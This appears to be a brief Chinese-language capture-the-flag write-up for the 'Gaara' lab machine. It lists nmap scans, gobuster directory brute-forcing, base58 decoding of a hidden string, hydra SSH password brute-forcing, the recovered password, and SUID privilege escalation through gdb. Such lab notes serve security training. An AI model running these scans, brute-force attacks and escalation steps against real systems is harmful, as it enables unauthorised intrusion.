nmap -Pn -p- -T4 --min-rate=1000 192.168.170.142
nmap -Pn -p 22,80 -sCV 192.168.170.142
查看80端口的页面
对路径进行爆破
gobuster dir -u http://192.168.170.142 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 300
得到一个路径/Cryoserver
访问路径后,又得到三个路径,最终在路径/iamGaara得到了加密的内容
f1MgN9mTf9SNbzRygcU
使用base58解码
得到 gaara:ismyname
尝试进行ssh登录,发现密码是错误的
尝试对gaara用户进行ssh登录爆破
hydra -l gaara -P /home/kali/rockyou.txt 192.168.170.142 ssh
得到密码iloveyou2,成功使用ssh登录,并得到第一个flag
查看是否可以进行SUID提权
find / -perm -u=s -type f -exec ls -l {} ; 2>/dev/null
https://gtfobins.github.io/gtfobins/gdb/
得到root权限,并获得flag